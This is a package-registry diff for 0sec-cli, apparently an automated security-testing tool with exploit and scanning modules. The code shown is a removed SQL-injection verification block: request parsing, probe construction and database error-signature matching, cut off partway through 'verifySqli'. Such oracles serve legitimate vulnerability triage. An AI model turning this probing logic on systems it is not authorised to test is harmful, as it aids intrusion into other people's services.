0sec-cli 0.24.1 → 0.26.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (246) hide show
  1. package/0.js +67 -62
  2. package/README.md +121 -82
  3. package/chunks/{adapt-loop-L77BWMNE.js → adapt-loop-P4HKONB5.js} +6 -5
  4. package/chunks/{artifact-scraper-BV67RAP5.js → artifact-scraper-IIRJNYKT.js} +4 -3
  5. package/chunks/{assumption-mining-RPVR77A3.js → assumption-mining-YA6VJ2V6.js} +22 -20
  6. package/chunks/{backend-connections-ACIXNYZN.js → backend-connections-64PKYKL7.js} +5 -4
  7. package/chunks/chunk-36J5ZLFE.js +18729 -0
  8. package/chunks/{chunk-ZM6ANQZJ.js → chunk-3MWQNNJU.js} +16180 -34467
  9. package/chunks/{chunk-GV5WXDHY.js → chunk-3VQ5EZKG.js} +11 -9
  10. package/chunks/chunk-5XOYTAOK.js +1546 -0
  11. package/chunks/{chunk-UJE4WOQS.js → chunk-6GV5G6U3.js} +1 -1
  12. package/chunks/{chunk-X2ZMSRTP.js → chunk-6SNOKNCS.js} +333 -3
  13. package/chunks/{chunk-BMDG6T7D.js → chunk-72PU46MS.js} +178 -133
  14. package/chunks/{chunk-KCA35IL3.js → chunk-7PUJI64A.js} +11 -9
  15. package/chunks/chunk-A7G6S5RA.js +90 -0
  16. package/chunks/chunk-ABKUI3QB.js +196 -0
  17. package/chunks/{chunk-5ETI27Q3.js → chunk-AFJ2UMPR.js} +3 -3
  18. package/chunks/{chunk-XA2IBHPB.js → chunk-B7XL6RON.js} +1 -1
  19. package/chunks/{chunk-TVS6WVSK.js → chunk-BM6EYP2D.js} +3 -3
  20. package/chunks/{chunk-7UHAXEOV.js → chunk-D4M5WURF.js} +226 -4
  21. package/chunks/{chunk-K74DRDC5.js → chunk-EHNVP6QB.js} +1 -1
  22. package/chunks/{chunk-I43YYHDU.js → chunk-FBZBJYZS.js} +5 -50
  23. package/chunks/{chunk-GXXX7AGH.js → chunk-GYEYTNHK.js} +144 -14
  24. package/chunks/{chunk-IJ6UPW3H.js → chunk-HS2NQ7K6.js} +393 -58
  25. package/chunks/chunk-HUZ2EC2R.js +196 -0
  26. package/chunks/{chunk-SU4IHQQI.js → chunk-IUUNIJPM.js} +1 -1
  27. package/chunks/chunk-JGDA6EIJ.js +49 -0
  28. package/chunks/{chunk-CJRZSWII.js → chunk-K3PTYN43.js} +3 -3
  29. package/chunks/{chunk-2NBZZFRG.js → chunk-KCABBZHN.js} +8 -10
  30. package/chunks/{chunk-3LPBJMHB.js → chunk-LRD5N2TQ.js} +1 -1
  31. package/chunks/{chunk-SQCBHFWN.js → chunk-LWMEJYCP.js} +2 -2
  32. package/chunks/chunk-MNK373HF.js +57 -0
  33. package/chunks/{chunk-R2XBH476.js → chunk-MOEVVXML.js} +2 -2
  34. package/chunks/{chunk-F2P25DJY.js → chunk-MOGWEHSC.js} +1448 -1050
  35. package/chunks/{chunk-6XMFCVJS.js → chunk-N7YCONYR.js} +1 -1
  36. package/chunks/{chunk-3WUPCZGF.js → chunk-NA3FKCI2.js} +1 -1
  37. package/chunks/{chunk-S2GITRD5.js → chunk-NABVDAAO.js} +2 -2
  38. package/chunks/{chunk-SZDD77KX.js → chunk-NNMOTHKC.js} +6 -10
  39. package/chunks/{chunk-LMP2T4G2.js → chunk-OILVEROI.js} +22 -172
  40. package/chunks/{chunk-YERUDEXT.js → chunk-PAE7ZAV6.js} +2780 -1255
  41. package/chunks/{chunk-NBV4I237.js → chunk-PAMJEXE2.js} +1 -1
  42. package/chunks/{chunk-PJU24AKR.js → chunk-R7VWEY45.js} +337 -257
  43. package/chunks/{chunk-QNRYOJEB.js → chunk-RZZ6VPRY.js} +1 -1
  44. package/chunks/{chunk-WUPN3D37.js → chunk-S4DFH2FJ.js} +26 -1
  45. package/chunks/{chunk-5WAHHZBF.js → chunk-SIR7XW2S.js} +61910 -30777
  46. package/chunks/{chunk-BD7WULFS.js → chunk-SSPP64FF.js} +3 -2
  47. package/chunks/{chunk-BOBIAHKA.js → chunk-STPHTPSD.js} +3 -333
  48. package/chunks/{chunk-Q7JKIKKF.js → chunk-UGCTPKJG.js} +89 -17
  49. package/chunks/{chunk-5PFRE522.js → chunk-ULRLUXSS.js} +1 -1
  50. package/chunks/{chunk-GZA7RGK7.js → chunk-UQS7XCBV.js} +2085 -1093
  51. package/chunks/{chunk-X2IPO5JO.js → chunk-V2KJQVYE.js} +2676 -2959
  52. package/chunks/{chunk-CGBDEST2.js → chunk-VJBEB2K6.js} +1 -1
  53. package/chunks/{chunk-ILRMLA6J.js → chunk-VWE36MUN.js} +1 -1
  54. package/chunks/{chunk-RURJYCWY.js → chunk-WNWDQ2TO.js} +1 -1
  55. package/chunks/{chunk-GTED3FSZ.js → chunk-WPJMA5AK.js} +4 -99
  56. package/chunks/{chunk-5NFIY2SJ.js → chunk-XJ2TBEV7.js} +3 -3
  57. package/chunks/{chunk-PVJUPIQG.js → chunk-XOVYV7TT.js} +6 -6
  58. package/chunks/{chunk-IXT64DV5.js → chunk-XPDJE537.js} +97 -1
  59. package/chunks/{chunk-YKWARO3T.js → chunk-YGYJ2FTH.js} +95 -21
  60. package/chunks/{chunk-JWSOUKFF.js → chunk-YJGPPPUB.js} +66 -21
  61. package/chunks/chunk-YP2DHYNI.js +650 -0
  62. package/chunks/{chunk-RVJVM5L4.js → chunk-Z2VLJEQJ.js} +5 -5
  63. package/chunks/chunk-ZPVSDB63.js +3839 -0
  64. package/chunks/{codex-models-6XVNFRXZ.js → codex-models-CI22KIHY.js} +9 -8
  65. package/chunks/{commands-FRPOFIO4.js → commands-C2WRSCNB.js} +909 -610
  66. package/chunks/dashboard-XO2X2SPD.js +75 -0
  67. package/chunks/{db-BXJNWUYJ.js → db-FU3OIGQK.js} +5 -4
  68. package/chunks/{deep-review-GSJEBLCG.js → deep-review-5AL6QYTK.js} +37 -38
  69. package/chunks/{disclose-OU6Z6GVT.js → disclose-YPV5KIUU.js} +6 -5
  70. package/chunks/{dist-M2X367VW.js → dist-JAZWL3SC.js} +3 -2
  71. package/chunks/{dist-TQMHMSBZ.js → dist-ONIRKDH6.js} +376 -333
  72. package/chunks/{dist-RKLQIXDT.js → dist-QLMPTFT7.js} +4 -3
  73. package/chunks/{dist-7KSYDDSG.js → dist-QXJKD743.js} +5 -2
  74. package/chunks/{dist-LNXGATR2.js → dist-WNAOCQGA.js} +5 -4
  75. package/chunks/eval-runner-D3RUCU3R.js +38 -0
  76. package/chunks/{exploit-agent-Y2P4GFIY.js → exploit-agent-4E4HXKUA.js} +1 -1
  77. package/chunks/{exploit-autoclimb-YRZ3TMS2.js → exploit-autoclimb-5GRXI6VQ.js} +1 -1
  78. package/chunks/{exploit-climb-4LEY4SDW.js → exploit-climb-AHQEJ2I2.js} +4 -3
  79. package/chunks/{fix-RQSIG75B.js → fix-CHD7LXDS.js} +9 -8
  80. package/chunks/{harness-3NVC3DDY.js → harness-E63KDHPG.js} +5 -4
  81. package/chunks/{http-conformance-U5F6GKYG.js → http-conformance-AXMUOE6C.js} +3 -2
  82. package/chunks/hunt-scan-ME2Z4CTC.js +43 -0
  83. package/chunks/{kernel-primitive-T47V3RD3.js → kernel-primitive-S566GXWP.js} +4 -3
  84. package/chunks/{kernel-vm-runner-AEL5E3SV.js → kernel-vm-runner-KREBY4DC.js} +4 -3
  85. package/chunks/{local-engine-ZCW4YC6E.js → local-engine-ZRTZVSSX.js} +7 -6
  86. package/chunks/managed-operation-ZMLLRCCQ.js +59 -0
  87. package/chunks/{memsafety-scan-L2Z7E7TE.js → memsafety-scan-Q2MBZEGJ.js} +1 -2
  88. package/chunks/{native-loop-26X2CHBV.js → native-loop-UV3Z4Z2F.js} +31 -16
  89. package/chunks/operator-services-JOCREEBA.js +79 -0
  90. package/chunks/orchestrate-ZF6ZTSIQ.js +62 -0
  91. package/chunks/{prepare-C3KGMBXT.js → prepare-PLDVGLDX.js} +7 -6
  92. package/chunks/{provider-model-discovery-QGUGL3XW.js → provider-model-discovery-3X6DON3Y.js} +7 -2
  93. package/chunks/{remote-workflow-runtime-DB52SINR.js → remote-workflow-runtime-GOI4TYP5.js} +4 -3
  94. package/chunks/routing-WCQLO5SP.js +61 -0
  95. package/chunks/{runtime-AUBLQUOH.js → runtime-6ZIXFTW5.js} +4 -3
  96. package/chunks/{runtime-U66JNSAY.js → runtime-TVH5ORUK.js} +13 -8
  97. package/chunks/{scan-stream-34F3LTPV.js → scan-stream-HJVTWZ44.js} +6 -4
  98. package/chunks/{scope-HSTG63TQ.js → scope-RCYXVGJR.js} +4 -3
  99. package/chunks/service-plugins-TN6KDX4L.js +63 -0
  100. package/chunks/{session-store-MKAAP3WL.js → session-store-6QR3CVUA.js} +8 -5
  101. package/chunks/{variant-candidates-LG767HWH.js → variant-candidates-SGLKPPHI.js} +9 -8
  102. package/chunks/{web-recon-prepass-NJP6J3E4.js → web-recon-prepass-GO7CTMVQ.js} +7 -6
  103. package/chunks/{workflow-runtime-AR627I26.js → workflow-runtime-CQTDASFA.js} +50 -49
  104. package/dashboard/assets/{abnfDiagram-VCTEODGH-Cq149Jpk.js → abnfDiagram-VCTEODGH-DDZsU70-.js} +1 -1
  105. package/dashboard/assets/{arc-CpP-3TRW.js → arc-iDXNTSL6.js} +1 -1
  106. package/dashboard/assets/architecture-7GRP2DOG-DJcY9RFg.js +1 -0
  107. package/dashboard/assets/architectureDiagram-5GKGNRK7-d0ZuOniQ.js +36 -0
  108. package/dashboard/assets/{blockDiagram-I7D4REHJ-CZYkRRDi.js → blockDiagram-I7D4REHJ-B-EWfMy1.js} +2 -2
  109. package/dashboard/assets/{c4Diagram-7LVT6UL2-CV7Iu3_Z.js → c4Diagram-7LVT6UL2-KcZRuXZC.js} +1 -1
  110. package/dashboard/assets/channel-CeWMIm0w.js +1 -0
  111. package/dashboard/assets/{chunk-4HAMMTFA-PKCyW4m-.js → chunk-4HAMMTFA-DXWulBlo.js} +1 -1
  112. package/dashboard/assets/{chunk-75Z2AOVW-C5MlFTc_.js → chunk-75Z2AOVW-RiLZItrz.js} +1 -1
  113. package/dashboard/assets/chunk-DU6HZSFF-MBcaIyTX.js +127 -0
  114. package/dashboard/assets/{chunk-F27PBJKO-DTAok0qM.js → chunk-F27PBJKO-kLWCBX_W.js} +1 -1
  115. package/dashboard/assets/{chunk-FOHPRMQF-DHwB1DNv.js → chunk-FOHPRMQF-COOliuUh.js} +14 -14
  116. package/dashboard/assets/{chunk-GMAD6QVW-CPsr2F33.js → chunk-GMAD6QVW-BeQeSjpW.js} +7 -7
  117. package/dashboard/assets/{chunk-GVQU2GXP-C2AXGf9A.js → chunk-GVQU2GXP-CjCMlOIB.js} +1 -1
  118. package/dashboard/assets/{chunk-IMKFNOWR-DMG6yD_O.js → chunk-IMKFNOWR-BwNst53D.js} +1 -1
  119. package/dashboard/assets/{chunk-L3NEJ4N5-BSvwdbXx.js → chunk-L3NEJ4N5-CHXWQrkL.js} +1 -1
  120. package/dashboard/assets/{chunk-OSK3NFVY-CfB8V7FU.js → chunk-OSK3NFVY-B2vd19Ed.js} +1 -1
  121. package/dashboard/assets/{chunk-P2QGCYS3-CvmZvq6n.js → chunk-P2QGCYS3-Dk7Fyh6n.js} +1 -1
  122. package/dashboard/assets/{chunk-POPQ4Y6H-D_TvwDxL.js → chunk-POPQ4Y6H-CPAgOvYe.js} +1 -1
  123. package/dashboard/assets/{chunk-PWAF6VOD-Da5GnuOY.js → chunk-PWAF6VOD-BotyfMha.js} +1 -1
  124. package/dashboard/assets/{chunk-SHT3W25Y-CcsMJpR-.js → chunk-SHT3W25Y-Buz5gLRP.js} +1 -1
  125. package/dashboard/assets/{chunk-SVP7TREG-COojjieJ.js → chunk-SVP7TREG-_rpYEZcs.js} +1 -1
  126. package/dashboard/assets/{chunk-TICWLB2K-nBAmJwx6.js → chunk-TICWLB2K-DOJxPoec.js} +2 -2
  127. package/dashboard/assets/{chunk-XXDRQBXY-r5HyhWDv.js → chunk-XXDRQBXY-EXxKJbAs.js} +1 -1
  128. package/dashboard/assets/classDiagram-ZZMXUADV-DV_h1NoS.js +1 -0
  129. package/dashboard/assets/classDiagram-v2-VYDZK3BY-DV_h1NoS.js +1 -0
  130. package/dashboard/assets/common-VLJRx-Jq.js +5 -0
  131. package/dashboard/assets/cose-bilkent-JH36ORCC-B1SVC57o.js +1 -0
  132. package/dashboard/assets/cynefin-OW5HDTMX-BzhRorj4.js +1 -0
  133. package/dashboard/assets/{cynefinDiagram-5FMLGOSQ-xodkuQtW.js → cynefinDiagram-5FMLGOSQ-JXzRmldX.js} +1 -1
  134. package/dashboard/assets/cytoscape.esm-BbBREfsg.js +321 -0
  135. package/dashboard/assets/dagre-D7JM2Yhv.js +1 -0
  136. package/dashboard/assets/dagre-GXQ25YYZ-1LZ-X0-Z.js +4 -0
  137. package/dashboard/assets/{diagram-S7CK7UJ4-DNoTMlCO.js → diagram-S7CK7UJ4-C_-J_LQ4.js} +2 -2
  138. package/dashboard/assets/{diagram-UQ7AKVKN-COccuyew.js → diagram-UQ7AKVKN-CnxL1k8g.js} +1 -1
  139. package/dashboard/assets/{diagram-VSXAHHWV-g6D1tWRb.js → diagram-VSXAHHWV-WzSb3aby.js} +1 -1
  140. package/dashboard/assets/{diagram-VX7I27RA-DhO4eVIC.js → diagram-VX7I27RA-DKhrMInE.js} +1 -1
  141. package/dashboard/assets/{diagram-Z3DM3KII-DeOQFexd.js → diagram-Z3DM3KII-CDhI2WGP.js} +1 -1
  142. package/dashboard/assets/{dist-BQYeOQg3.js → dist-B0bfBMeP.js} +1 -1
  143. package/dashboard/assets/{ebnfDiagram-PWID7BFC-MtkX2feM.js → ebnfDiagram-PWID7BFC-iL5NQ1PE.js} +1 -1
  144. package/dashboard/assets/{erDiagram-RLTQ6QDP-DIWSsoYZ.js → erDiagram-RLTQ6QDP-RK2Voa5O.js} +1 -1
  145. package/dashboard/assets/eventmodeling-NTZA5JFV-WgE7OJBb.js +1 -0
  146. package/dashboard/assets/flowDiagram-HODETNUW-B9YcQ0Aq.js +1 -0
  147. package/dashboard/assets/{ganttDiagram-EL5Y4UJY-DKggkJe0.js → ganttDiagram-EL5Y4UJY-D8CJXHRF.js} +1 -1
  148. package/dashboard/assets/gitGraph-4MIJSDKK-BuZ9Lg04.js +1 -0
  149. package/dashboard/assets/{gitGraphDiagram-WWUBYQGX-r_iR8Qzo.js → gitGraphDiagram-WWUBYQGX-LEJMh54j.js} +1 -1
  150. package/dashboard/assets/info-A6RAGUB7-BL5k3pev.js +1 -0
  151. package/dashboard/assets/{infoDiagram-27XIBGKW-ClQk7UyQ.js → infoDiagram-27XIBGKW-LJvntUnZ.js} +1 -1
  152. package/dashboard/assets/{ishikawaDiagram-5VMMS53U-tR7Vziog.js → ishikawaDiagram-5VMMS53U-BYTYgKCG.js} +2 -2
  153. package/dashboard/assets/{journeyDiagram-3NMN7TZE-Cpb9IqKL.js → journeyDiagram-3NMN7TZE-G25qgQgO.js} +1 -1
  154. package/dashboard/assets/{kanban-definition-UXKFOSKX-BzUuKbA9.js → kanban-definition-UXKFOSKX-Bk3uLl1i.js} +1 -1
  155. package/dashboard/assets/{katex-BdBmVSus.js → katex-nLxf_RlZ.js} +2 -2
  156. package/dashboard/assets/{line-BHY_tSHu.js → line-i4qHBaWO.js} +1 -1
  157. package/dashboard/assets/linear-DmrqRsKG.js +1 -0
  158. package/dashboard/assets/mermaid-parser.core-BxbKr4QF.js +7 -0
  159. package/dashboard/assets/{mermaid.core-D_QsUPU8.js → mermaid.core-Cltee6FS.js} +9 -9
  160. package/dashboard/assets/{mindmap-definition-YA3MSWOX-CtfLTPPJ.js → mindmap-definition-YA3MSWOX-DkzO2JgS.js} +1 -1
  161. package/dashboard/assets/operations-B4_timQX.css +1 -0
  162. package/dashboard/assets/operations-DwppJviL.js +199 -0
  163. package/dashboard/assets/packet-AYTQ26CC-uZQUKnrE.js +1 -0
  164. package/dashboard/assets/{pegDiagram-XKGWAZYB-C1Dclbzj.js → pegDiagram-XKGWAZYB-CrOEi00T.js} +1 -1
  165. package/dashboard/assets/pie-WAS4IAKB-Dn9_tpQT.js +1 -0
  166. package/dashboard/assets/{pieDiagram-E7YTZNPT-Cd7XwYo5.js → pieDiagram-E7YTZNPT-D-niUkzc.js} +1 -1
  167. package/dashboard/assets/{quadrantDiagram-AXDQQJYC-CaS-GQ4X.js → quadrantDiagram-AXDQQJYC-CJOTiG5V.js} +1 -1
  168. package/dashboard/assets/radar-RG4KPBEZ-DIIVz4e8.js +1 -0
  169. package/dashboard/assets/railroad-74A4TZTK-1kiqDEID.js +1 -0
  170. package/dashboard/assets/railroad-abnf-HS5TGJTU-DK6rQPZR.js +1 -0
  171. package/dashboard/assets/railroad-ebnf-LZEXJU2U-C6cOgYW4.js +1 -0
  172. package/dashboard/assets/railroad-peg-WCYAUIDC-CQ3ptKef.js +1 -0
  173. package/dashboard/assets/{railroadDiagram-O6MQD6OU-BeesTrqn.js → railroadDiagram-O6MQD6OU-nEfkpa-m.js} +1 -1
  174. package/dashboard/assets/{requirementDiagram-BXWQKSXE-IjyK0DhW.js → requirementDiagram-BXWQKSXE-CdFMY8tG.js} +1 -1
  175. package/dashboard/assets/{sankeyDiagram-P5KCCOFB-DmIluQqo.js → sankeyDiagram-P5KCCOFB-C0KxrFYv.js} +1 -1
  176. package/dashboard/assets/{sequenceDiagram-WJ2MYXX4-CUp8ZjTc.js → sequenceDiagram-WJ2MYXX4-DeZ5ATiu.js} +2 -2
  177. package/dashboard/assets/sizeCapture-INFHLROL-3uHXrFqA.js +1 -0
  178. package/dashboard/assets/src-Cg-chcoE.js +1 -0
  179. package/dashboard/assets/{stateDiagram-D77RDMKH-Dy9TQb8P.js → stateDiagram-D77RDMKH-B9MwWL5B.js} +1 -1
  180. package/dashboard/assets/stateDiagram-v2-MP3YSRHH-SucFndhx.js +1 -0
  181. package/dashboard/assets/swimlanes-42K2YHIH-DB--fwQE.js +1 -0
  182. package/dashboard/assets/swimlanesDiagram-VR7AAH4N-BzH-rIaK.js +8 -0
  183. package/dashboard/assets/{timeline-definition-24CTP7MA-BGdXW-iY.js → timeline-definition-24CTP7MA-DLkkTbWb.js} +1 -1
  184. package/dashboard/assets/treeView-Q6P3EWNA-XkZ9rl9H.js +1 -0
  185. package/dashboard/assets/treemap-WGGIJYW6-JCtVKxCE.js +1 -0
  186. package/dashboard/assets/{vennDiagram-4TSXK5OY-DzKWHJsl.js → vennDiagram-4TSXK5OY-DEb-x29Z.js} +1 -1
  187. package/dashboard/assets/wardley-WFR3VGLG-DhI7ROY3.js +1 -0
  188. package/dashboard/assets/{wardleyDiagram-VM6X3IG4-DGsjYmNJ.js → wardleyDiagram-VM6X3IG4-KNckudc5.js} +1 -1
  189. package/dashboard/assets/{xychartDiagram-S5SC5T6Z-C7_T_tWt.js → xychartDiagram-S5SC5T6Z-D4c0ynCk.js} +1 -1
  190. package/dashboard/index.html +13 -2
  191. package/package.json +2 -5
  192. package/worker-assets/demo-target/README.md +7 -3
  193. package/chunks/chunk-2XGBEH53.js +0 -4304
  194. package/chunks/chunk-4ROZFLSR.js +0 -279
  195. package/chunks/chunk-56UTQKXO.js +0 -56
  196. package/chunks/chunk-BPU6M42R.js +0 -77
  197. package/chunks/chunk-H5QURBBK.js +0 -1123
  198. package/chunks/chunk-IIBNQTOK.js +0 -1532
  199. package/chunks/chunk-NJLKFC66.js +0 -4790
  200. package/chunks/chunk-OOMBOLAF.js +0 -295
  201. package/chunks/chunk-VIT5ALXF.js +0 -4054
  202. package/chunks/chunk-VU7V2SDW.js +0 -284
  203. package/chunks/chunk-W624J7NF.js +0 -117
  204. package/chunks/chunk-YSQWZ67M.js +0 -6027
  205. package/chunks/dashboard-5HDSNBAU.js +0 -76
  206. package/chunks/eval-runner-A2DIGVP7.js +0 -31
  207. package/chunks/hunt-scan-W246VWJC.js +0 -40
  208. package/chunks/managed-operation-6R2QPPW5.js +0 -60
  209. package/chunks/orchestrate-OBS37FWQ.js +0 -63
  210. package/chunks/run-MU3MFL2Z.js +0 -28242
  211. package/chunks/service-plugins-5B23PWXC.js +0 -64
  212. package/dashboard/assets/architecture-7GRP2DOG-z5EHYkyH.js +0 -1
  213. package/dashboard/assets/architectureDiagram-5GKGNRK7-ewtXpjR_.js +0 -36
  214. package/dashboard/assets/channel-CuYjfiC5.js +0 -1
  215. package/dashboard/assets/chunk-DU6HZSFF-3M37ulcO.js +0 -127
  216. package/dashboard/assets/classDiagram-ZZMXUADV-DCuOrWUV.js +0 -1
  217. package/dashboard/assets/classDiagram-v2-VYDZK3BY-DCuOrWUV.js +0 -1
  218. package/dashboard/assets/common-C6snVPsk.js +0 -5
  219. package/dashboard/assets/cose-bilkent-JH36ORCC-BLGcaZHk.js +0 -1
  220. package/dashboard/assets/cynefin-OW5HDTMX-DbZMK00I.js +0 -1
  221. package/dashboard/assets/cytoscape.esm-CGd-uY3x.js +0 -321
  222. package/dashboard/assets/dagre-GXQ25YYZ-CRk9qfSG.js +0 -4
  223. package/dashboard/assets/dagre-PrKaheQc.js +0 -1
  224. package/dashboard/assets/eventmodeling-NTZA5JFV-D_3ez4Gv.js +0 -1
  225. package/dashboard/assets/flowDiagram-HODETNUW-D2boyYEd.js +0 -1
  226. package/dashboard/assets/gitGraph-4MIJSDKK-DFOQYwXc.js +0 -1
  227. package/dashboard/assets/info-A6RAGUB7-DeednLoB.js +0 -1
  228. package/dashboard/assets/linear-naZZ1pHk.js +0 -1
  229. package/dashboard/assets/mermaid-parser.core-CPvd4cEx.js +0 -7
  230. package/dashboard/assets/operations-BwCzhVnT.js +0 -130
  231. package/dashboard/assets/operations-QjKT0Hwi.css +0 -1
  232. package/dashboard/assets/packet-AYTQ26CC-DDQbkT9I.js +0 -1
  233. package/dashboard/assets/pie-WAS4IAKB-LpU4ULAs.js +0 -1
  234. package/dashboard/assets/radar-RG4KPBEZ-CcxW3NJm.js +0 -1
  235. package/dashboard/assets/railroad-74A4TZTK-9P5Rl8fP.js +0 -1
  236. package/dashboard/assets/railroad-abnf-HS5TGJTU-CSfpwjna.js +0 -1
  237. package/dashboard/assets/railroad-ebnf-LZEXJU2U-D6R5qzr-.js +0 -1
  238. package/dashboard/assets/railroad-peg-WCYAUIDC-DKEX7ITG.js +0 -1
  239. package/dashboard/assets/sizeCapture-INFHLROL-B0uUizjq.js +0 -1
  240. package/dashboard/assets/src-r61wDjcA.js +0 -1
  241. package/dashboard/assets/stateDiagram-v2-MP3YSRHH-CQb0ZtPr.js +0 -1
  242. package/dashboard/assets/swimlanes-42K2YHIH-CZuDV7V5.js +0 -1
  243. package/dashboard/assets/swimlanesDiagram-VR7AAH4N-BxgWMq8X.js +0 -8
  244. package/dashboard/assets/treeView-Q6P3EWNA-DlRrayjM.js +0 -1
  245. package/dashboard/assets/treemap-WGGIJYW6-C6UqLKfI.js +0 -1
  246. package/dashboard/assets/wardley-WFR3VGLG-thmyHKb0.js +0 -1
@@ -1,649 +1,12 @@
1
1
  #!/usr/bin/env node
2
2
  import { createRequire as __0CreateRequire } from "node:module";
3
3
  const require = __0CreateRequire(import.meta.url);
4
+ import {
5
+ allowlistedChildEnv
6
+ } from "./chunk-5IBCBQEH.js";
4
7
 
5
- // packages/core/dist/triage/oracle-runtime.js
6
- import { randomUUID } from "node:crypto";
7
- import { createServer } from "node:http";
8
-
9
- // packages/core/dist/triage/oracles.js
10
- var DEFAULT_TIMEOUT_MS = 1e4;
11
- function notVerifiable(reason) {
12
- return { verified: false, inconclusive: true, confidence: 0, evidence: "", reason };
13
- }
14
- function verified(evidence, confidence = 1) {
15
- return { verified: true, confidence, evidence, reason: "" };
16
- }
17
- function parseRequest(requestText, fallbackTarget) {
18
- const parsed = {
19
- method: "GET",
20
- url: fallbackTarget,
21
- headers: {},
22
- body: "",
23
- params: {}
24
- };
25
- const parseFallbackQuery = () => {
26
- try {
27
- const u = new URL(parsed.url);
28
- u.searchParams.forEach((v, k) => {
29
- parsed.params[k] = v;
30
- });
31
- } catch {
32
- }
33
- };
34
- if (!requestText) {
35
- parseFallbackQuery();
36
- return parsed;
37
- }
38
- requestText = requestText.replace(/\r\n/g, "\n");
39
- const curlUrl = requestText.match(/\bcurl\b[^\n]*?\s(https?:\/\/\S+)/i);
40
- if (curlUrl)
41
- parsed.url = curlUrl[1].replace(/['"]$/, "");
42
- const curlMethod = requestText.match(/-X\s+(GET|POST|PUT|PATCH|DELETE)/i);
43
- if (curlMethod)
44
- parsed.method = curlMethod[1].toUpperCase();
45
- const curlData = requestText.match(/--data(?:-raw)?\s+['"]([^'"]+)['"]/);
46
- if (curlData)
47
- parsed.body = curlData[1];
48
- const startLine = requestText.match(/^(GET|POST|PUT|PATCH|DELETE)\s+(\S+)\s+HTTP\/[\d.]+/m);
49
- if (startLine) {
50
- parsed.method = startLine[1].toUpperCase();
51
- const path = startLine[2];
52
- const hostHeader = requestText.match(/^Host:\s*(\S+)/im);
53
- if (/^https?:\/\//i.test(path)) {
54
- parsed.url = path;
55
- } else if (hostHeader) {
56
- const scheme = fallbackTarget.startsWith("https") ? "https" : "http";
57
- parsed.url = `${scheme}://${hostHeader[1]}${path}`;
58
- } else if (path.startsWith("/")) {
59
- try {
60
- const base = new URL(fallbackTarget);
61
- parsed.url = `${base.origin}${path}`;
62
- } catch {
63
- parsed.url = path;
64
- }
65
- } else {
66
- parsed.url = path;
67
- }
68
- const headerBlock = requestText.split("\n\n", 1)[0] ?? "";
69
- for (const line of headerBlock.split("\n").slice(1)) {
70
- const colon = line.indexOf(":");
71
- if (colon > 0) {
72
- const name = line.slice(0, colon).trim().toLowerCase();
73
- if (!["host", "content-length", "connection", "transfer-encoding"].includes(name)) {
74
- parsed.headers[name] = line.slice(colon + 1).trim();
75
- }
76
- }
77
- }
78
- const sep = requestText.indexOf("\n\n");
79
- if (sep >= 0)
80
- parsed.body = requestText.slice(sep + 2);
81
- }
82
- try {
83
- const u = new URL(parsed.url);
84
- u.searchParams.forEach((v, k) => {
85
- parsed.params[k] = v;
86
- });
87
- } catch {
88
- }
89
- if (parsed.body.trimStart().startsWith("{")) {
90
- try {
91
- const json = JSON.parse(parsed.body);
92
- for (const [key, value] of Object.entries(json)) {
93
- if (typeof value === "string" || typeof value === "number")
94
- parsed.params[key] = String(value);
95
- }
96
- } catch {
97
- }
98
- } else if (parsed.body.includes("=")) {
99
- new URLSearchParams(parsed.body).forEach((value, key) => {
100
- parsed.params[key] = value;
101
- });
102
- }
103
- return parsed;
104
- }
105
- function buildProbeRequest(parsed, newParams) {
106
- const method = parsed.method || "GET";
107
- const init = { method, headers: { ...parsed.headers } };
108
- const url = new URL(parsed.url);
109
- let json;
110
- if (parsed.body.trimStart().startsWith("{")) {
111
- try {
112
- json = JSON.parse(parsed.body);
113
- } catch {
114
- }
115
- }
116
- const form = !json && parsed.body.includes("=") ? new URLSearchParams(parsed.body) : void 0;
117
- for (const [key, value] of Object.entries(newParams)) {
118
- if (method !== "GET" && json && Object.hasOwn(json, key))
119
- json[key] = value;
120
- else if (method !== "GET" && form?.has(key))
121
- form.set(key, value);
122
- else
123
- url.searchParams.set(key, value);
124
- }
125
- if (method !== "GET") {
126
- init.body = json ? JSON.stringify(json) : form ? form.toString() : parsed.body || void 0;
127
- if (json)
128
- init.headers = { "content-type": "application/json", ...parsed.headers };
129
- else if (form)
130
- init.headers = { "content-type": "application/x-www-form-urlencoded", ...parsed.headers };
131
- }
132
- return { url: url.toString(), init };
133
- }
134
- async function fetchWithTimeout(url, init, timeoutMs = DEFAULT_TIMEOUT_MS, context = {}) {
135
- const controller = new AbortController();
136
- const timer = setTimeout(() => controller.abort(), timeoutMs);
137
- const start = Date.now();
138
- try {
139
- const res = await (context.fetch ?? fetch)(url, { ...init, redirect: "manual", signal: controller.signal });
140
- const body = await res.text();
141
- return { status: res.status, body, latencyMs: Date.now() - start };
142
- } catch {
143
- return null;
144
- } finally {
145
- clearTimeout(timer);
146
- }
147
- }
148
- var SQL_ERROR_PATTERNS = [
149
- // MySQL
150
- /You have an error in your SQL syntax/i,
151
- /\bmysql_fetch_/i,
152
- /\bMySQLSyntaxErrorException\b/i,
153
- /\bMariaDB\b.*?\bsyntax\b/i,
154
- // PostgreSQL
155
- /\bPG::SyntaxError\b/i,
156
- /\bpq:\s+syntax error\b/i,
157
- /\bpsql:.*?ERROR:/i,
158
- /unterminated quoted string/i,
159
- // SQLite
160
- /\bSQLite3::/i,
161
- /\bsqlite3\.OperationalError\b/i,
162
- /near\s+".+?":\s*syntax error/i,
163
- // MSSQL
164
- /\bMicrosoft\s+SQL\s+Server\b.*?\b(error|exception)\b/i,
165
- /\bUnclosed quotation mark\b/i,
166
- /\bOLE DB.*?SQL Server\b/i,
167
- // Oracle
168
- /\bORA-\d{4,5}\b/i,
169
- /\bquoted string not properly terminated\b/i
170
- ];
171
- function detectSqlError(body) {
172
- for (const re of SQL_ERROR_PATTERNS) {
173
- const m = body.match(re);
174
- if (m)
175
- return m[0];
176
- }
177
- return null;
178
- }
179
- function pickInjectableParam(parsed) {
180
- for (const [k, v] of Object.entries(parsed.params)) {
181
- if (v && v.length > 0)
182
- return { key: k, value: v };
183
- }
184
- const first = Object.keys(parsed.params)[0];
185
- if (first)
186
- return { key: first, value: parsed.params[first] ?? "" };
187
- return null;
188
- }
189
- async function verifySqli(finding, target, context = {}) {
190
- const timedFetch = (url, init, timeoutMs) => fetchWithTimeout(url, init, timeoutMs, context);
191
- const parsed = parseRequest(finding.evidence?.request ?? "", target);
192
- const victim = pickInjectableParam(parsed);
193
- if (!victim)
194
